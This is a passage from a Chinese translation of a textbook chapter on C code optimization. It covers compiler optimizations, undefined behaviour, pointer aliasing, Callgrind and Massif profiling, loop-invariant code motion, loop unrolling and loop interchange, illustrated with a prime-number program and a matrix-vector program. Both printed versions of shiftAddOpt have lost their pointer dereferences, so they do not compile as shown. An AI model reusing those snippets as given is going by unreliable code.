使用数据流分析的编译器能够识别出`if`语句总是评估为`false`,并且`printf`语句永远不会执行。因此,编译器会在编译后的可执行文件中去除`if`语句和对`printf`的调用。另一个步骤还会去除语句`debug = 0`。
##### 简化表达式
一些指令的执行成本高于其他指令。例如,汇编中的`imul`和`idiv`算术指令执行时需要较长时间。编译器通常会通过简化数学运算来减少高成本指令的数量。例如,在`doubleSum`函数中,编译器可能会将表达式`2 * total`替换为`total + total`,因为加法指令比乘法指令便宜:
//declaration of debug removed through dead-code elimination
//sums up all the elements in an array
int doubleSum(int *array, int length){
int i, total = 0;
for (i = 0; i < length; i++){
total += array[i];
//if statement removed through data-flow analysis
}
return total + total; //simplifying expression
}
同样,编译器会通过位移和其他按位运算符来转换代码序列,以简化表达式。例如,编译器可能会将表达式`total * 8`替换为`total << 3`,或将表达式`total % 8`替换为`total & 7`,因为按位运算可以通过一个快速指令执行。
#### 编译器无法始终做到的事情:学习代码优化的好处
尽管优化编译器有很多好处,但学习代码优化为何有用可能并不显而易见。可能会产生这样一种想法:编译器是一个“智能”的神奇黑盒。归根结底,编译器是一个执行一系列代码转换的软件,其目的是加速代码的执行。然而,编译器在其能够执行的优化类型上也存在限制。
##### 算法强度降低是不可能的
代码性能差的主要原因是选择了不合适的数据结构和算法。编译器无法神奇地修复这些糟糕的决策。例如,编译器永远不会将一个实现冒泡排序的程序优化成实现快速排序的程序。虽然编译器及其优化的复杂度不断提高,但任何单一编译器的优化*质量*在不同平台之间是不同的。因此,责任在于程序员,确保其代码利用了最佳的算法和数据结构。
##### 编译器优化标志不能保证使代码“最优”(或一致)
提高编译器优化级别(例如,从`-O2`到`-O3`)并不总是能减少程序的运行时间。有时,程序员可能会发现将优化标志从`-O2`更新到`-O3`反而*降低了*程序的速度,或者根本没有任何性能提升。在其他情况下,程序员可能会发现一个没有优化标志编译的程序似乎没有任何错误,而使用`-O2`或`-O3`编译时却会导致段错误或其他错误。这类编程错误尤其难以调试,因为 gcc 的调试(`-g`)标志与其优化(`-O`)标志不兼容,因为编译器优化在`-O`级别上进行的转换会干扰调试器分析底层代码的能力。许多常见的性能分析工具(如 GDB 和 Valgrind)都要求使用`-g`标志。
行为不一致的一个重要原因是,C/C++标准并未提供明确的指南来解决未定义行为。因此,通常由编译器决定如何解决歧义。不同优化级别如何处理未定义行为的不一致可能导致结果发生*变化*。考虑以下 John Regehr 的例子:^(2)
int silly(int a) {
return (a + 1) > a;
}
假设` silly `是用` a = INT_MAX `运行的。在这种情况下,计算` a + 1 `会导致整数溢出。然而,C/C++标准并没有定义*编译器应该如何处理*整数溢出。事实上,在没有优化的情况下编译程序会使得函数返回 0,而使用`-O3`优化编译时,函数则返回 1。
简而言之,优化标志应该谨慎使用,经过深思熟虑,并在必要时使用。学习使用哪些优化标志也可以帮助程序员与编译器合作,而不是与编译器对抗。
**注意 编译器不要求处理未定义行为**
当`a = INT_MAX`时运行的`silly`函数是未定义行为的一个例子。请注意,编译器生成的不一致输出并不是编译器设计上的缺陷,也不是使用优化标志的结果。编译器专门设计来遵循语言规范。C 语言标准并没有规定当编译器遇到未定义行为时应该做什么;程序可能崩溃、无法编译,或生成不一致或错误的结果。最终,程序员负责识别并消除代码中的未定义行为。`silly`应该返回 0、1 还是其他值,最终是程序员必须做出的决定。欲了解更多关于未定义行为和 C 程序相关问题的信息,请访问 C 语言 FAQ^(3)或 John Regehr 的《未定义行为指南》^(4)。
##### 指针可能会引发问题
回想一下,编译器进行的转换会保持源程序的基本行为不变。如果某个转换可能改变程序的行为,编译器将不会进行该转换。特别是在*内存别名*的情况下,即两个不同的指针指向内存中的相同地址,编译器尤其会遵守这一规则。举个例子,考虑函数`shiftAdd`,它的两个参数是两个整数指针。该函数将第一个数字乘以 10,并将第二个数字加到其中。所以,如果`shiftAdd`函数传入整数 5 和 6,结果将是 56。
未优化版本
void shiftAdd(int *a, int *b){
*a = *a * 10; //multiply by 10
*a += *b; //add b
}
优化版本
void shiftAddOpt(int *a, int *b){
a = (a * 10) + *b;
}
`shiftAddOpt`函数通过去除对`a`的额外内存引用来优化`shiftAdd`函数,从而在编译的汇编代码中生成较小的指令集。然而,由于内存别名的风险,编译器永远不会做这种优化。为了理解原因,请考虑以下的`main`函数:
int main(void){
int x = 5;
int y = 6;
shiftAdd(&x, &y); //should produce 56
printf("shiftAdd produces: %d\n", x);
x = 5; //reset x
shiftAddOpt(&x, &y); //should produce 56
printf("shiftAddOpt produces: %d\n", x);
return 0;
}
编译并运行此程序会得到预期输出:
$ gcc -o shiftadd shiftadd.c
$ ./shiftadd
shiftAdd produces: 56
shiftAddOpt produces: 56
假设程序被修改为使得`shiftAdd`现在接收指向`x`的指针作为它的两个参数:
int main(void){
int x = 5;
shiftAdd(&x, &x); //should produce 55
printf("shiftAdd produces: %d\n", x);
x = 5; //reset x
shiftAddOpt(&x, &x); //should produce 55
printf("shiftAddOpt produces: %d\n", x);
return 0;
}
预期输出是 55。 然而,重新编译并重新运行更新后的代码会得到两个不同的输出:
$ gcc -o shiftadd shiftadd.c
$ ./shiftadd
shiftAdd produces: 100
shiftAddOpt produces: 55
回溯通过假设`a`和`b`指向相同的内存位置的`shiftAdd`函数可以揭示问题。在`shiftAdd`中将`a`乘以 10 会将`x`更新为 50。接下来,在`shiftAdd`中将`a`加到`b`中,会使得`x`翻倍变为 100。内存别名的风险表明,尽管程序员可能希望它们是等效的,但`shiftAdd`和`shiftAddOpt`实际上并不相同。为了解决这个问题,应该认识到`shiftAdd`的第二个参数不需要作为指针传递。用整数替换第二个参数可以消除别名风险,并允许编译器将一个函数优化为另一个函数:
未优化版本(已修复)
void shiftAdd(int *a, int b){
*a = *a * 10; //multiply by 10
*a += b; //add b
}
优化版本(已修复)
void shiftAddOpt(int *a, int b){
a = (a * 10) + b;
}
移除不必要的内存引用使得程序员能够保持原始`shiftAdd`函数的可读性,同时使编译器能够优化该函数。
#### 与编译器的合作:一个示例程序
在接下来的章节中,我们将重点学习更多常见的优化类型,并讨论编程和性能分析策略,以帮助编译器更容易地优化我们的代码。为了说明我们的讨论,我们将致力于优化以下(编写不够优化的)程序,该程序尝试查找 2 到*n*之间的所有质数:^(5)
optExample.c
//helper function: checks to see if a number is prime
int isPrime(int x) {
int i;
for (i = 2; i < sqrt(x) + 1; i++) { //no prime number is less than 2
if (x % i == 0) { //if the number is divisible by i
return 0; //it is not prime
}
}
return 1; //otherwise it is prime
}
// finds the next prime
int getNextPrime(int prev) {
int next = prev + 1;
while (!isPrime(next)) { //while the number is not prime
next++; //increment and check again
}
return next;
}
// generates a sequence of primes
int genPrimeSequence(int *array, int limit) {
int i;
int len = limit;
if (len == 0) return 0;
array[0] = 2; //initialize the first number to 2
for (i = 1; i < len; i++) {
array[i] = getNextPrime(array[i-1]); //fill in the array
if (array[i] > limit) {
len = i;
return len;
}
}
return len;
}
int main(int argc, char **argv) {
//error-handling and timing code omitted for brevity
int *array = allocateArray(limit);
int length = genPrimeSequence(array, limit);
return 0;
}
表 12-1 展示了使用以下基本编译命令,在不同优化级别标志下生成 2 到 5,000,000 之间质数的时间结果:
$ gcc -o optExample optExample.c -lm
**表 12-1:** 生成 2 到 5,000,000 之间质数的时间(单位:秒)
| **未优化** | -O1 | -O2 | -O3 |
| --- | --- | --- | --- |
| 3.86 | 2.32 | 2.14 | 2.15 |
使用优化标志观察到的最快时间约为 2.14 秒。虽然使用优化标志可以将程序运行时间缩短超过一秒,但提高优化标志的级别所带来的改进几乎可以忽略不计。在接下来的章节中,我们将讨论如何修改程序,使编译器更容易进行优化。
### 12.1 代码优化第一步:代码性能分析
*真正的问题是程序员在错误的地方和错误的时间花费了太多时间去担心效率;过早优化是编程中所有问题的根源(至少是大多数问题的根源)。*
—唐纳德·克努斯,*计算机程序设计的艺术*
代码优化中最大的危险之一是*过早优化*的概念。过早优化指的是程序员基于“直觉”而非数据来优化,试图在性能低效的地方进行优化。尽可能地,在开始优化之前,通过测量不同代码部分在不同输入下的运行时间,识别出*热点*或者程序中执行最多指令的区域。
为了找出如何优化`optExample.c`,我们首先来仔细看看`main`函数:
int main(int argc, char **argv) {
//error-handling and timing code omitted for brevity
int limit = strtol(argv[1], NULL, 10);
int length = limit;
int *array = allocateArray(length); //allocates array of specified length
genPrimeSequence(array, limit, &length); //generates sequence of primes
return 0;
}
`main`函数包含对两个函数的调用:`allocateArray`,它初始化一个用户指定长度(或限制)的数组;`genPrimeSequence`,它生成在指定限制内的质数序列(请注意,在 2 和*n*之间的任何序列中,质数的数量不能超过*n*,并且通常质数的数量要少得多)。`main`函数还包含计时每个函数运行时间的代码。将代码编译并运行,`limit`设置为 5,000,000 时,结果如下:
$ gcc -o optExample optExample.c -lm
$ time -p ./optExample 5000000
Time to allocate: 5.5e-05
Time to generate primes: 3.85525
348513 primes found.
real 3.85
user 3.86
sys 0.00
`optExample` 程序大约需要 3.86 秒才能完成,几乎所有时间都花费在 `genPrimeSequence` 函数中。没有必要花时间优化 `allocateArray`,因为对整个程序运行时间的改进微乎其微。在接下来的示例中,我们将更加关注 `genPrimeSequence` 函数及其相关函数。为了方便起见,以下是这些函数的代码:
// helper function: checks to see if a number is prime
int isPrime(int x) {
int i;
for (i = 2; i < sqrt(x) + 1; i++) { //no prime number is less than 2
if (x % i == 0) { //if the number is divisible by i
return 0; //it is not prime
}
}
return 1; //otherwise it is prime
}
// finds the next prime
int getNextPrime(int prev) {
int next = prev + 1;
while (!isPrime(next)) { //while the number is not prime
next++; //increment and check again
}
return next;
}
// generates a sequence of primes
int genPrimeSequence(int *array, int limit) {
int i;
int len = limit;
if (len == 0) return 0;
array[0] = 2; //initialize the first number to 2
for (i = 1; i < len; i++) {
array[i] = getNextPrime(array[i-1]); //fill in the array
if (array[i] > limit) {
len = i;
return len;
}
}
return len;
}
要找出程序中的热点,可以关注包含最多循环的区域。代码的手动检查有助于定位热点,但在尝试优化之前,始终应通过基准测试工具进行验证。对 `optExample` 程序的手动检查得出以下观察结果。
`genPrimeSequence` 函数尝试生成从 2 到某个整数 *n* 之间的所有素数。由于 2 和 *n* 之间的素数个数不能超过 *n*,因此 `genPrimeSequence` 中的 `for` 循环最多执行 *n* 次。每次 `for` 循环迭代都会调用一次 `getNextPrime` 函数。因此,`getNextPrime` 函数最多执行 *n* 次。
`getNextPrime` 函数中的 `while` 循环将持续运行,直到发现一个素数。虽然很难事先根据 *n*(连续素数之间的差距可能非常大)来确定 `while` 循环将执行多少次,但可以确定的是,`isPrime` 会在每次 `while` 循环迭代时执行。
`isPrime` 函数包含一个 `for` 循环。假设该循环总共执行 *k* 次迭代。那么,循环体中的代码将执行 *k* 次。回顾在《C 语言中的循环》一章中的内容,第 33 页提到,`for` 循环的结构包括一个 *初始化语句*(用于将循环变量初始化为特定值),一个 *布尔表达式*(用于确定何时终止循环),以及一个 *步进表达式*(用于在每次迭代时更新循环变量)。表 12-2 显示了在执行 *k* 次迭代的 `for` 循环中,各个循环组件执行的次数。在每个 `for` 循环中,初始化只会执行一次。布尔表达式会执行 *k* + 1 次,因为它必须进行一次最终检查以终止循环。循环体和步进表达式各执行 *k* 次。
**表 12-2:** 循环执行组件(假设执行 k 次迭代)
| **初始化语句** | **布尔表达式** | **步进表达式** | **循环体** |
| --- | --- | --- | --- |
| 1 | *k* + 1 | *k* | *k* |
我们对代码的手动检查表明,程序大部分时间都花费在 `isPrime` 函数中,且 `sqrt` 函数执行的次数最多。接下来,让我们使用代码分析工具来验证这个假设。
#### 12.1.1 使用 Callgrind 进行性能分析
在我们的小程序中,通过手动检查相对简单地形成假设,认为`sqrt`函数出现在代码的“热点”中。然而,在较大的程序中,识别热点可能变得更加复杂。无论如何,使用性能分析工具来验证我们的假设是个好主意。像 Valgrind^(6)这样的代码性能分析工具提供了大量关于程序执行的信息。在这一节中,我们使用`callgrind`工具来检查`OptExample`程序的调用图。
为了使用`callgrind`,我们先通过`-g`标志重新编译`optExample`程序,并在较小的范围(2 到 100,000)内运行`callgrind`。像其他 Valgrind 应用程序一样,`callgrind`作为一个包装器运行在程序周围,添加注释信息,例如函数执行的次数和执行的总指令数。因此,当与`callgrind`一起运行时,`optExample`程序的执行时间会更长。
$ gcc -g -o optExample optExample.c -lm
$ valgrind --tool=callgrind ./optExample 100000
32590 Callgrind, a call-graph generating cache profiler
32590 Copyright (C) 2002-2015, and GNU GPL'd, by Josef Weidendorfer et al.
32590 Using Valgrind-3.11.0 and LibVEX; rerun with -h for copyright info
32590 Command: ./optExample 100000
32590
32590 For interactive control, run 'callgrind_control -h'.
Time to allocate: 0.003869
Time to generate primes: 0.644743
9592 primes found.
32590
32590 Events : Ir
32590 Collected : 68338759
32590
32590 I refs: 68,338,759
在终端输入`ls`会显示一个新文件,名为`callgrind.out.xxxxx`,其中`xxxxx`是唯一的标识符。在这种情况下,文件名为`callgrind.out.32590`(即前面输出中左侧列显示的数字)。对这个文件运行`callgrind_annotate`会生成更多关于三个感兴趣函数的信息:
$ callgrind_annotate --auto=yes callgrind.out.32590
----------------------------------------------------------------
Profile data file 'callgrind.out.32393' (creator: callgrind-3.11.0)
----------------------------------------------------------------
...
. //helper function: checks to see if a number is prime
400,004 int isPrime(int x) {
. int i;
36,047,657 for (i = 2; i < sqrt(x)+1; i++) { //no prime is less than 2
13,826,015 => ???:sqrt (2765204x)
16,533,672 if (x % i == 0) { //if the number is divisible by i
180,818 return 0; //it is not prime
. }
. }
9,592 return 1; //otherwise it is prime
200,002 }
.
. // finds the next prime
38,368 int getNextPrime(int prev) {
28,776 int next = prev + 1;
509,597 while (!isPrime(next)) { //while the number is not prime
67,198,556 => optExample.c:isPrime (100001x)
90,409 next++; //increment and check again
. }
9,592 return next;
19,184 }
.
. // generates a sequence of primes
6 int genPrimeSequence(int * array, int limit) {
. int i;
2 int len = limit;
2 if (len == 0) return 0;
2 array[0]=2; //initialize the first number to 2
38,369 for (i = 1; i < len; i++) {
143,880 array[i] = getNextPrime(array[i-1]); //fill in the array
67,894,482 => optExample.c:getNextPrime (9592x)
76,736 if (array[i] > limit){
2 len = i;
2 return len;
. }
. }
. return len;
4 }
左侧列的数字表示与每一行相关联的总执行指令数。括号中的数字表示某个特定函数运行的次数。通过左侧列的数字,我们能够验证手动检查的结果。在`genPrimeSequence`函数中,`getNextPrime`函数执行的指令最多,总计 6,780 万条指令,对应 9,592 次函数调用(用于生成 2 到 100,000 之间的素数)。检查`getNextPrime`时发现,大部分指令(6,710 万条,占 99%)是来自对`isPrime`的调用,而`isPrime`总共被调用了 100,001 次。最后,检查`isPrime`时发现,总指令数中有 1,300 万条(占 20.5%)来自`sqrt`函数,`sqrt`函数总共执行了 270 万次。
这些结果验证了我们最初的假设:程序大部分时间都花费在`isPrime`函数中,并且`sqrt`函数是所有函数中执行最频繁的。减少执行的总指令数会使程序更快;上述分析表明,我们的初步努力应集中在改进`isPrime`函数,并可能减少`sqrt`执行的次数。
#### 12.1.2 循环不变代码移动
循环不变代码移动是一种优化技术,它将发生在循环内部的静态计算移到循环外部,同时不影响循环的行为。优化编译器能够自动执行大多数循环不变代码优化。具体来说,GCC 中的`-fmove-loop-invariants`编译器标志(在`-O1`级别启用)尝试识别循环不变代码移动的例子,并将它们移到各自的循环外部。
然而,编译器并不能总是识别循环不变代码移动的情况,尤其是在函数调用的情况下。由于函数调用可能会不小心引起*副作用*(意外的行为),大多数编译器会避免尝试判断一个函数调用是否始终返回相同的结果。因此,即使程序员知道`sqrt(x)`始终返回某个输入`x`的平方根,GCC 也不会总是做出这个假设。考虑到`sqrt`函数更新了一个秘密的全局变量`g`,在这种情况下,在函数外调用一次`sqrt`(*对 g 进行一次*更新)与在循环的每次迭代中调用它(*对 g 进行 n 次*更新)是不同的。如果编译器无法确定一个函数始终返回相同的结果,它就不会自动将`sqrt`函数移到循环外部。
然而,程序员知道将计算`sqrt(x) + 1`移到`for`循环外部不会影响循环的行为。更新后的函数在这里展示,并且可以在线查看:^(7)
//helper function: checks to see if a number is prime
int isPrime(int x) {
int i;
int max = sqrt(x)+1;
for (i = 2; i < max; i++) { //no prime number is less than 2
if (x % i == 0) { //if the number is divisible by i
return 0; //it is not prime
}
}
return 1; //otherwise it is prime
}
表 12-3 显示,这一简单的更改使得`optExample2`的运行时间减少了整整两秒(47%),即使在没有使用编译器标志的情况下。此外,编译器似乎更容易优化`optExample2`。
**表 12-3:** 计算 2 到 5,000,000 之间素数所需的时间(单位:秒)
| **版本** | **未优化** | -O1 | -O2 | -O3 |
| --- | --- | --- | --- | --- |
| 原始 | 3.86 | 2.32 | 2.14 | 2.15 |
| 使用循环不变代码移动 | 1.83 | 1.63 | 1.71 | 1.63 |
重新运行`callgrind`在`optExample2`可执行文件上的分析可以揭示为什么观察到了如此大的运行时改进。以下代码片段假设文件`callgrind.out.30086`包含了运行`callgrind`在`optExample2`可执行文件上的注释:
$ gcc -g -o optExample2 optExample2.c -lm
$ valgrind --tool=callgrind ./optExample2 100000
$ callgrind_annotate --auto=yes callgrind.out.30086
------------------------------------------------------------------
Profile data file 'callgrind.out.30086' (creator: callgrind-3.11.0)
------------------------------------------------------------------
...
400,004 int isPrime(int x) {
. int i;
900,013 int max = sqrt(x)+1;
500,000 => ???:sqrt (100001x)
11,122,449 for (i = 2; i < max; i++) { //no prime number is less than 2
16,476,120 if (x % i == 0) { //if the number is divisible by i
180,818 return 0; //it is not prime
. }
. }
9,592 return 1; //otherwise it is prime
200,002 }
.
. // finds the next prime
38,368 int getNextPrime(int prev) {
28,776 int next = prev + 1;
509,597 while (!isPrime(next)) { //while the number is not prime
29,789,794 => optExample2.c:isPrime (100001x)
90,409 next++; //increment and check again
. }
9,592 return next;
19,184 }
将对`sqrt`的调用移到`for`循环外部,将程序中`sqrt`函数的调用次数从 270 万次减少到 10 万次(减少 96%)。这个数字对应于`isPrime`函数的调用次数,确认了每次调用`isPrime`函数时,`sqrt`函数只执行一次。
请注意,即使程序员没有手动执行代码运动,编译器在指定优化标志时也能够执行显著的优化。在这种情况下,原因是 x86 指令集架构(ISA)中有一个特殊的指令 `fsqrt`。当启用优化标志时,编译器会将所有 `sqrt` 函数的调用替换为 `fsqrt` 指令。这一过程被称为 *内联*,我们将在接下来的章节中详细介绍。由于 `fsqrt` 不再是一个函数,它更容易被编译器识别为循环不变的代码,从而将其移出循环体外。
### 12.2 其他编译器优化:循环展开与函数内联
前一节中描述的循环不变代码运动优化是一个简单的改动,导致了执行时间的显著减少。然而,这种优化是依赖于特定情况的,并不总是能带来性能提升。在大多数情况下,循环不变代码运动由编译器自动处理。
今天,代码更多的是被阅读而不是编写。在大多数情况下,微小的性能提升并不值得为了提高性能而牺牲代码的可读性。一般来说,程序员应该尽可能让编译器进行优化。在本节中,我们将介绍一些过去由程序员手动实现的优化技术,但如今这些技术通常由编译器实现。
网上有一些资源提倡手动实现我们在以下章节中描述的技术。然而,我们建议读者在尝试手动实现这些优化之前,先检查他们的编译器是否支持这些优化。本文所述的所有优化在 GCC 中都有实现,但在旧版编译器中可能不可用。
#### 12.2.1 函数内联
编译器尝试执行的一个优化步骤是 *函数内联*,它将对函数的调用替换为函数体的内容。例如,在 `main` 函数中,如果编译器内联 `allocateArray` 函数,它将把对 `allocateArray` 的调用替换为直接调用 `malloc`:
原始版本
int main(int argc, char **argv) {
// omitted for brevity
// some variables shortened for space considerations
int lim = strtol(argv[1], NULL, 10);
// allocation of array
int *a = allocateArray(lim);
// generates sequence of primes
int len = genPrimeSequence(a, lim);
return 0;
}
将 `allocateArray` 内联
int main(int argc, char **argv) {
// omitted for brevity
// some variables shortened for space considerations
int lim = strtol(argv[1], NULL, 10);
// allocation of array (in-lined)
int *a = malloc(lim * sizeof(int));
// generates sequence of primes
int len = genPrimeSequence(a, lim);
return 0;
}
函数内联可以为程序带来一定的运行时节省。回想一下,每当程序调用一个函数时,都会生成与函数创建和销毁相关的许多指令。函数内联使编译器能够消除这些多余的调用,并且使编译器更容易识别其他潜在的优化,包括常量传播、常量折叠和死代码消除。在 `optExample` 程序中,函数内联可能使编译器将对 `sqrt` 的调用替换为 `fsqrt` 指令,并将其移出循环。
`-finline-functions`标志向 GCC 建议应该进行函数内联。这项优化在级别 3 时启用。即使`-finline-functions`可以独立于`-O3`标志使用,它仍然是向编译器提出的 *建议*,让编译器寻找可以内联的函数。同样,`static inline`关键字也可以用于向编译器建议某个特定函数应该被内联。请记住,编译器并不会内联所有函数,而且函数内联并不一定会使代码变得更快。
程序员通常应避免手动内联函数。内联函数的风险较高,可能会显著降低代码的可读性,增加出错的可能性,并使得更新和维护函数变得更加困难。例如,尝试将`isPrime`函数内联到`getNextPrime`函数中,将大大降低`getNextPrime`的可读性。
#### 12.2.2 循环展开
我们在本节讨论的最后一个编译器优化策略是循环展开。让我们重新审视一下`isPrime`函数:
// helper function: checks to see if a number is prime
int isPrime(int x) {
int i;
int max = sqrt(x) + 1;
// no prime number is less than 2
for (i = 2; i < max; i++) {
// if the number is divisible by i
if (x % i == 0) {
return 0; // it's not prime
}
}
return 1; // otherwise it is
}
`for`循环总共执行`max`次,其中`max`是整数`x`的平方根加一。在汇编级别,每次执行循环时都会检查`i`是否小于`max`。如果是,指令指针跳转到循环体,计算模运算。如果模运算结果为 0,程序立即退出循环并返回 0。否则,循环继续执行。虽然分支预测器在预测条件表达式的结果时表现得相当不错(尤其是在循环内),但错误的猜测可能会导致性能下降,因为指令流水线可能会中断。
*循环展开*是一种编译器执行的优化,用来减少错误猜测的影响。在循环展开中,目标是通过增加每次迭代的工作量来减少循环的迭代次数,通常按 *n* 的倍数来进行。当一个循环按 2 的倍数展开时,循环中的迭代次数将减少 *一半*,而每次迭代所执行的工作量将 *翻倍*。
让我们手动将 2 倍循环展开应用到`isPrime`函数中:^(8)
// helper function: checks to see if a number is prime
int isPrime(int x) {
int i;
int max = sqrt(x)+1;
// no prime number is less than 2
for (i = 2; i < max; i+=2) {
// if the number is divisible by i or i+1
if ( (x % i == 0) || (x % (i+1) == 0) ) {
return 0; // it's not prime
}
}
return 1; // otherwise it is
}
注意,尽管我们已经将`for`循环的迭代次数减少了一半,但每次迭代现在执行了两个模运算,导致每次迭代的工作量 *翻倍*。重新编译并重新运行程序后,结果是时间略有改进(参见表 12-4)。
代码的可读性也因此降低。更好的使用循环展开的方法是调用`-funroll-loops`编译器优化标志,这个标志告诉编译器展开那些可以在编译时确定迭代次数的循环。`-funroll-all-loops`编译器标志是一个更激进的选项,它会展开所有循环,无论编译器是否确定迭代次数。表 12-4 展示了手动 2 因子循环展开^(9)与将`-funroll-loops`和`-funroll-all-loops`编译器优化标志添加到之前程序中的运行时对比。
**表 12-4:** 生成 5,000,000 个质数所需的时间(秒)
| **版本** | **文件** | **未优化** | -O1 | -O2 | -O3 |
| --- | --- | --- | --- | --- | --- |
| 原始版本 | `optExample.c` | 3.86 | 2.32 | 2.14 | 2.15 |
| 循环不变代码移动 | `optExample2.c` | 1.83 | 1.63 | 1.71 | 1.63 |
| 手动二分循环 | `optExample3.c` | 1.65 | 1.53 | 1.45 | 1.45 |
| 循环展开 |
| `-funroll-loops` | `optExample2.c` | 1.82 | 1.48 | 1.46 | 1.46 |
| `-funroll-all-loops` | `optExample2.c` | 1.81 | 1.47 | 1.47 | 1.46 |
手动循环展开确实能带来一些性能提升;然而,当编译器的内建循环展开标志与其他优化标志结合使用时,能够实现相当的性能表现。如果程序员希望将循环展开优化融入到他们的代码中,应该默认使用适当的编译器标志,而*不*手动展开循环。
### 12.3 内存考虑
程序员应特别注意内存使用,特别是在使用像矩阵和数组这样的内存密集型数据结构时。尽管编译器提供了强大的优化功能,但编译器并非总是能做出改善程序内存使用的优化。在本节中,我们使用一个矩阵-向量程序`matrixVector.c`的实现^(10)来引导讨论提高内存使用的技术和工具。
程序的`main`函数执行两个步骤。首先,它分配并初始化输入矩阵、输入向量和输出矩阵。接下来,它执行矩阵-向量乘法。在矩阵-向量维度为 10,000 × 10,000 时运行代码,结果表明`matrixVectorMultiply`函数占用了大部分时间:
$ gcc -o matrixVector matrixVector.c
$ ./matrixVector 10000 10000
Time to allocate and fill matrices: 1.2827
Time to allocate vector: 9.6e-05
Time to matrix-vector multiply: 1.98402
因此,我们的讨论将集中在`matrixVectorMultiply`函数上。
#### 12.3.1 循环交换
循环交换优化通过交换嵌套循环中的内外循环顺序,以最大化缓存局部性。自动执行这个任务对编译器来说是比较困难的。在 GCC 中,存在`-floop-interchange`编译器标志,但目前默认情况下不可用。因此,程序员应该特别注意代码如何访问内存组合数据结构,如数组和矩阵。作为示例,让我们仔细看看`matrixVector.c`中的`matrixVectorMultiply`函数:
原始版本
void matrixVectorMultiply(int **m,
int *v,
int **res,
int row,
int col) {
int i, j;
//cycles through every matrix column
//in inner-most loop (inefficient)
for (j = 0; j < col; j++){
for (i = 0; i < row; i++){
res[i][j] = m[i][j] * v[j];
}
}
}
循环交换版本
void matrixVectorMultiply(int **m,
int *v,
int **res,
int row,
int col) {
int i, j;
//cycles through every row of matrix
//in inner-most loop
for (i = 0; i < row; i++){
for (j = 0; j < col; j++){
res[i][j] = m[i][j] * v[j];
}
}
}
输入和输出矩阵是动态分配的(参见“方法 2:程序员友好方式”,第 90 页)。因此,矩阵中的行并不彼此连续,而每行中的元素是连续的。当前的循环顺序导致程序遍历每一列,而不是每一行。请记住,数据是以块而非元素的形式加载到缓存中的(参见“直接映射缓存”,第 558 页)。因此,当访问`res`或`m`数组中的元素*x*时,*与* x 相邻的元素也会被加载到缓存中。遍历矩阵的每一“列”会导致更多的缓存未命中,因为每次访问时缓存都需要加载新的数据块。表 12-5 显示,添加优化标志并不会减少函数的运行时间。然而,仅仅交换循环的顺序(如前面的代码示例所示)使得函数速度几乎提高了八倍,并且允许编译器执行额外的优化。
**表 12-5:** 在 10,000 × 10,000 元素上执行矩阵乘法的秒数
| **版本** | **程序** | **未优化** | -O1 | -O2 | -O3 |
| --- | --- | --- | --- | --- | --- |
| 原始 | `matrixVector` | 2.01 | 2.05 | 2.07 | 2.08 |
| 循环交换 | `matrixVector2` | 0.27 | 0.08 | 0.06 | 0.06 |
Valgrind 工具 `cachegrind`(在“缓存分析与 Valgrind”中讨论,参见 第 575 页)是识别数据局部性问题的一个很好的工具,并揭示了在前面示例中展示的两种 `matrixVectorMultiply` 函数版本之间的缓存访问差异。
#### 12.3.2 改善局部性的一些其他编译器优化:分裂与融合
重新运行改进后的程序,使用 10,000 × 10,000 个元素,得到以下运行时间数据:
$ gcc -o matrixVector2 matrixVector2.c
$ ./matrixVector2 10000 10000
Time to allocate and fill matrices: 1.29203
Time to allocate vector: 0.000107
Time to matrix-vector multiply: 0.271369
现在,矩阵的分配和填充占用了最多的时间。进一步的计时显示,实际上是矩阵的填充过程花费了最多时间。我们来仔细看看这段代码:
//fill matrices
for (i = 0; i < rows; i++){
fillArrayRandom(matrix[i], cols);
fillArrayZeros(result[i], cols);
}
为了填充输入和输出矩阵,一个`for`循环遍历所有的行,并在每个矩阵上调用`fillArrayRandom`和`fillArrayZeros`函数。在某些情况下,编译器将单个循环拆分成两个独立的循环(称为*循环分裂*)可能是有利的,如下所示:
原始版本
for (i = 0; i < rows; i++) {
fillArrayRandom(matrix[i], cols);
fillArrayZeros(result[i], cols);
}
使用循环分裂
for (i = 0; i < rows; i++) {
fillArrayRandom(matrix[i], cols);
}
for (i = 0; i < rows; i++) {
fillArrayZeros(result[i], cols);
}
将两个对相同范围操作的循环合并成一个循环的过程(即循环裂解的反过程)被称为*循环融合*。循环裂解和融合是编译器可能进行的优化示例,目的是提高数据局部性。多核处理器的编译器还可能使用循环裂解或融合,使得循环能够在多个核心上高效执行。例如,编译器可能使用循环裂解将两个循环分配给不同的核心。同样,编译器可能使用循环融合将相关操作合并到循环体内,并将循环迭代的子集分配到每个核心(假设各次迭代之间的数据是独立的)。
在我们的案例中,手动应用循环裂解并不会直接改善程序性能;填充数组所需的时间几乎没有变化。然而,这可能揭示一个更微妙的优化:包含`fillArrayZeros`的循环是多余的。`matrixVectorMultiply`函数已将值分配给`result`数组中的每个元素,因此事先将其初始化为零是不必要的。
旧版本 matrixVector2.c
for (i = 0; i < rows; i++) {
matrix[i] = allocateArray(cols);
result[i] = allocateArray(cols);
}
for (i = 0; i < rows; i++) {
fillArrayRandom(matrix[i], cols);
fillArrayZeros(result[i], cols);
}
更新后的版本 matrixVector3.c
for (i = 0; i < rows; i++) {
matrix[i] = allocateArray(cols);
result[i] = allocateArray(cols);
}
for (i = 0; i < rows; i++) {
fillArrayRandom(matrix[i], cols);
//fillArrayZeros(result[i], cols); //no longer needed
}
#### 12.3.3 使用 Massif 进行内存分析
做出前述更改后,运行时间仅略微下降。尽管它消除了用零填充结果矩阵中所有元素的步骤,但仍需要相当多的时间来用随机数填充输入矩阵:
$ gcc -o matrixVector3 matrixVector3.c
$ ./matrixVector3 10000 10000
Time to allocate matrices: 0.049073
Time to fill matrices: 0.946801
Time to allocate vector: 9.3e-05
Time to matrix-vector multiply: 0.359525
尽管每个数组在内存中是非连续存储的,但每个数组占用 10,000 × `sizeof(int)`字节,即 40,000 字节。由于一共分配了 20,000 个数组(初始矩阵和结果矩阵各 10,000 个),这对应于 8 亿字节,约合 762 MB 的空间。用随机数填充 762 MB 显然需要大量时间。对于矩阵而言,内存使用量随着输入规模的增大呈平方增长,因此在性能中可能起到重要作用。
